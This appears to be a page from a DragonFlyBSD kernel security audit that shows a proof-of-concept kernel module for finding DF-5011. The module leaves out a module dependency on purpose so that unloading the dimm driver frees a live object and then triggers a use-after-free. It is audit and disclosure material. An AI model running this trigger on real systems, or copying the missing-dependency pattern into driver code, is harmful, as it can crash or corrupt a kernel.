⬢ DragonFlyBSD Kernel Audit
DF-5011 / drainpoc.c
← back to finding ↓ download raw
/*
 * DF-5011 PoC — dimm_mod_unload() drains references it does not own.
 *
 * drainpoc behaves exactly like sys/dev/misc/ecc/ecc_e3.c: it calls the
 * dimm(4) KPI (dimm_create/dimm_destroy) but does NOT declare
 * MODULE_DEPEND(<self>, dimm, ...).  ecc_e3.c:156-157 only declares
 * MODULE_DEPEND on pci and coremctl.
 *
 * What this proves:
 *  1. `kldunload dimm` SUCCEEDS while drainpoc holds a live dimm_softc
 *     reference — dimm_mod_unload() (dimm.c:312-318) loops
 *     `dimm_destroy(TAILQ_FIRST(...))` until the list is empty, silently
 *     draining drainpoc's reference and kfree()ing the softc.
 *  2. Using the softc afterwards (dimm_destroy at MOD_UNLOAD, or an ECC
 *     interrupt in the real ecc_e3 case) is a use-after-free into module
 *     memory that the linker has already unmapped.
 *
 * Build: WANT_DEP=0 (default) -> drainpoc.ko (no MODULE_DEPEND, the bug path)
 *        WANT_DEP=1            -> deppoc.ko  (control: with MODULE_DEPEND,
 *                                             kldunload dimm must fail EBUSY)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>

#include <dev/misc/dimm/dimm.h>

static struct dimm_softc *poc_sc;

static int
drainpoc_load(void)
{
	poc_sc = dimm_create(0, 0, 0);
	kprintf("drainpoc: dimm_create(0,0,0) -> sc=%p ref=1 held by drainpoc\n",
	    poc_sc);
	return 0;
}

static int
drainpoc_unload(void)
{
	kprintf("drainpoc: MOD_UNLOAD: dimm_destroy(%p) on object freed by "
	    "dimm_mod_unload's drain (use-after-free / call into unmapped "
	    "module text)\n", poc_sc);
	dimm_destroy(poc_sc);
	kprintf("drainpoc: dimm_destroy returned without panic\n");
	return 0;
}

static int
drainpoc_event(module_t mod, int type, void *unused)
{
	switch (type) {
	case MOD_LOAD:
		return drainpoc_load();
	case MOD_UNLOAD:
		return drainpoc_unload();
	default:
		return 0;
	}
}

#ifndef POCMODNAME
#define	POCMODNAME	drainpoc
#endif

static moduledata_t drainpoc_mod = { __STRING(POCMODNAME), drainpoc_event, 0 };
DECLARE_MODULE(POCMODNAME, drainpoc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
#ifdef WANT_DEP
MODULE_DEPEND(POCMODNAME, dimm, 1, 1, 1);
#endif